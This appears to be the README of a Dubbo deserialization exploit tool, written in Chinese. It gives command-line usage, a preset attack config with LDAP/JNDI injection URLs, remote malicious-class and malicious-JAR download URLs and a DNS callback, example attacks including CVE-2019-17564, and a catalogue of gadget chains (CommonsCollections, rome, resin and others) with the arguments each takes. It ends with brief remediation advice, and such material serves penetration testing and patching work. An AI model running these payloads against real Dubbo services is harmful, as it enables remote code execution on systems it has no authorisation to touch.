工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责
Dubbo反序列化测试工具
使用帮助
usage: java -jar exp.jar [OPTION]
- -h --help 帮助信息
- -l --list 输出所有gadget信息
- -g --gadget gadget名称
- -a --args gadget入参,多个参数使用多次该命令传入,例-a http://127.0.0.1:80/ -a Calc
- -p --protocol [dubbo|http] 通讯协议名称,默认缺省dubbo
- -s --serialization [hessian|java] 序列化类型,默认缺省hessian
- -t --target 目标,例:127.0.0.1:20880
- -f --fastcheck 快速攻击检查(使用预置参数数据文件,遍历所有gadget进行攻击检查),参数为数据文件路径,参考文件check.data
例(快速攻击检测,若不指定序列化类型,则全部gadget都会尝试):
java -jar dubbo-exp.jar
--target 127.0.0.1:20881
--fastcheck /Users/threedr3am/dubbo-exp/check.data
check.dat预置参数文件内容:
### 快速漏洞攻击参数配置(将会根据相应匹配的参数选择对应的所有gadget攻击)
### 多个参数英文逗号分割
#JNDI注入url
JNDI=ldap://127.0.0.1:43658/Calc
#执行的shell命令
CMD=/System/Applications/Calculator.app/Contents/MacOS/Calculator
#Reference远程class代码url
CODEBASE=http://127.0.0.1:80,Calc
#恶意jar包url
JAR=http://127.0.0.1:8080/R.jar,Calc
#DNS服务url
DNS=http://xxxx.ceye.io
例(测试dubbo默认缺省情况下使用的dubbo协议+hessian2反序列化):
--target
127.0.0.1:20881
--protocol
dubbo
--serialization
hessian
--gadget
rome
--args
ldap://127.0.0.1:43658/Calc
例(测试dubbo在使用http协议+java反序列化,dubbo < 2.7.5前使用http协议,后续改为了jsonrpc)CVE-2019-17564:
--target
127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService
--protocol
http
--serialization
java
--gadget
CommonsCollections8
--args
/System/Applications/Calculator.app/Contents/MacOS/Calculator
gadget列表
- 名称:resin
- 需要入参数量:2
- 参数说明:arg[0]=恶意类所在web服务器ip,arg[1]=恶意类类名,此处需要恶意类无包名编译出来的
- 序列化类型:hessian
- 依赖:com.caucho:quercus:*
- 名称:rome
- 需要入参数量:1
- 参数说明:arg[0]=ldap引用外部class地址,例:ldap://127.0.0.1:43658/Calc(ldap协议的JNDI服务可打jdk8u191及以下版本,大于jdk8u191需要使用gadget字节码)
- 序列化类型:hessian
- 依赖:com.rometools:rome:*
- 名称:spring-aop
- 需要入参数量:1
- 参数说明:arg[0]=ldap引用外部class地址,例:ldap://127.0.0.1:43658/Calc(ldap协议的JNDI服务可打jdk8u191及以下版本,大于jdk8u191需要使用gadget字节码)
- 序列化类型:hessian
- 依赖:org.springframework:spring-aop
- 名称:xbean
- 需要入参数量:2
- 参数说明:arg[0]=恶意类所在web服务器ip,arg[1]=恶意类类名,此处需要恶意类无包名编译出来的
- 序列化类型:hessian
- 依赖:org.apache.xbean:xbean-naming:*
- 名称:CommonsBeanutils
- 需要入参数量:1
- 参数说明:arg[0]=ldap引用外部class地址,例:ldap://127.0.0.1:43658/Calc(ldap协议的JNDI服务可打jdk8u191及以下版本,大于jdk8u191需要使用gadget字节码)
- 序列化类型:java
- 依赖:
- 名称:CommonsBeanutils1
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-beanutils:commons-beanutils:1.9.2
- 名称:CommonsCollections1
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections2
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:org.apache.commons:commons-collections4:4.0
- 名称:CommonsCollections3
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections3ForLoadJar
- 需要入参数量:2
- 参数说明:arg[0]=jar包下载地址,arg[1]=jar包中恶意类名称
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections4
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections5
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections5ForLoadJar
- 需要入参数量:2
- 参数说明:arg[0]=jar包下载地址,arg[1]=jar包中恶意类名称
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections6
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections6ForLoadJar
- 需要入参数量:2
- 参数说明:arg[0]=jar包下载地址,arg[1]=jar包中恶意类名称
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections7
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections8
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:org.apache.commons:commons-collections4:4.0
- 名称:CommonsCollections9
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections10
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.1
- 名称:CommonsCollections11
- 需要入参数量:1
- 参数说明:arg[0]=cmd
- 序列化类型:java
- 依赖:commons-collections:commons-collections:3.2.1
- 名称:URLDNS
- 需要入参数量:1
- 参数说明:arg[0]=dns server url
- 序列化类型:java
- 依赖:java runtime
漏洞修复建议
- 默认缺省的dubbo协议hessian反序列化漏洞:参考 learnjavabug项目module->dubbo/dubbo-hessian2-safe-reinforcement,使用反序列化黑名单形式进行安全加固
- dubbo版本<2.7.5,http协议反序列化漏洞(CVE-2019-17564):升级到最新版本2.7.5修复